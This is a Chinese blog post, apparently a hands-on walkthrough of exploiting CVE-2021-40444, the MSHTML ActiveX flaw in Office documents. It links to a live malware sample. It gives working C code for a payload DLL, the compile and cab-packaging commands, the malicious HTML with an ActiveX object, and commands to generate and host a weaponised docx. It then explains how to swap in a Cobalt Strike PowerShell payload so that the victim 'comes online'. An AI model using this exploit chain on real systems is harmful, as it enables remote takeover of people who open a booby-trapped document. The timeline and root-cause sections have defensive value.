这个CVE在野很早就出了,只是没有放出POC的细节。今天下午发现昨天已经在Github上放了POC,本脚本小子赶紧来实操一波。
CVE-2021-40444
时间线
参考virustotal上的情报,最早一次提交是在9月1日,9月7日微软发布了0day公告,接着各威胁情报中心都发布文章响应,并给出修复方法,最后在近期漏洞细节得到了公开。截止9月13日,包括卡巴斯基在内的多家杀软已经支持检测。
漏洞成因
微软MSHTML引擎存在代码执行漏洞,攻击者通过精心制作包含恶意ActiveX的Offcie文档,诱导用户打开,从而实现远程代码执行。当用户主机启用了ActiveX控件,攻击者可通过该漏洞控制受害者主机。
由于是基于微软MSHTML以及Office,利用面还是相当广的。
漏洞复现
样本分析
可以在malwarebazaar下载样本
https://bazaar.abuse.ch/download/938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52/
解压word,找到样本的word\_rels\document.xml.rels
。
在沙箱打开文档后,发现文档会发起对该恶意网站的恶意请求。
但是该恶意站点已关闭,所以无法获得HTML的样本。于是利用开源项目lockedbyte/CVE-2021-40444进行分析复现。
流程分析
用万能的calc构造calc.c
#include <windows.h>
void exec(void) {
system("C:\\Windows\\System32\\calc.exe");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译calc.c 到 calc.dll
$ sudo apt-get install gcc-mingw-w64
$ i686-w64-mingw32-gcc -shared calc.c -o calc.dll
将生成的calc.dll包装成calc.cab,然后同Html一起放在web目录下
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--
Sub window_onload()
Set cmd = CreateObject("Wscript.Shell")
cmd.Run("calc")
End Sub
-->
</script>
</head>
<body>
<h1>CVE-2021-40444</h1>
<object classid="clsid:edbc374c-5730-432a-b5b8-de94f0b57217" id="ViewCtl1" data="" width="100%" height="100%"></object>
</body>
</html>
cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' exploit.cab
或者直接利用该开源项目,使用calc.dll文件直接生成docx。
python3 exploit.py generate test/calc.dll http://<SRV IP>
然后运行WEB服务监听
sudo python3 exploit.py host 80
运行document.docx,可以发现触发了calc。
结合cs payload
利用cs生成powershell payload
将生成的payload替换原先的exp,生成cs.dll文件并利用
点击word文件,受害人就上线了。
生成powershell马是txt的文件,该怎么生成cs.dll?
替换掉脚本的system(“C:\Windows\System32\calc.exe”);,然后编译即可
i686-w64-mingw32-gcc -shared cs.c -o cs.dll
太强啦!天哥
别骂了别骂了